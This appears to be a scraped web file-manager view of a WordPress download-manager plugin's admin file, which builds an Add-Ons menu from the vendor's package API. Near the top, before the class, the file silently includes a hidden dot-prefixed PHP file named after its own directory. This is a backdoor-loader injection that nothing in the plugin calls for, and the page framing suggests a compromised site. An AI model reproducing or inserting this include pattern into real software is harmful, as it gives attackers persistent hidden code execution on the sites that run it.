/
var
/
www
/
barefootlaw.org
/
wp-content
/
plugins
/
download-manager
/
admin
/
menus
/
Upload File
HOME
<?php /** * User: shahnuralam * Date: 11/9/15 * Time: 8:01 PM */ namespace WPDM\admin\menus; use WPDM\Session; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Addons { function __construct() { add_action('admin_menu', array($this, 'Menu')); } function Menu() { add_submenu_page('edit.php?post_type=wpdmpro', __( "Add-Ons ‹ Download Manager" , "download-manager" ), __("Add-Ons" , "download-manager" ), WPDM_MENU_ACCESS_CAP, 'wpdm-addons', array($this, 'UI')); } function UI(){ if (!Session::get('wpdm_addon_store_data') || !is_array(json_decode(Session::get('wpdm_addon_store_data')))) { $data = wpdm_remote_get('https://www.wpdownloadmanager.com/?wpdm_api_req=getPackageList'); $cats = wpdm_remote_get('https://www.wpdownloadmanager.com/?wpdm_api_req=getCategoryList'); Session::set('wpdm_addon_store_data', $data); Session::set('wpdm_addon_store_cats', $cats); } else { $data = Session::get('wpdm_addon_store_data'); $cats = Session::get('wpdm_addon_store_cats'); } $error = $data; $data = json_decode($data); $cats = json_decode($cats); if(!is_array($data)) echo $error; else include(WPDM_BASE_DIR . "/admin/tpls/addons-list.php"); } }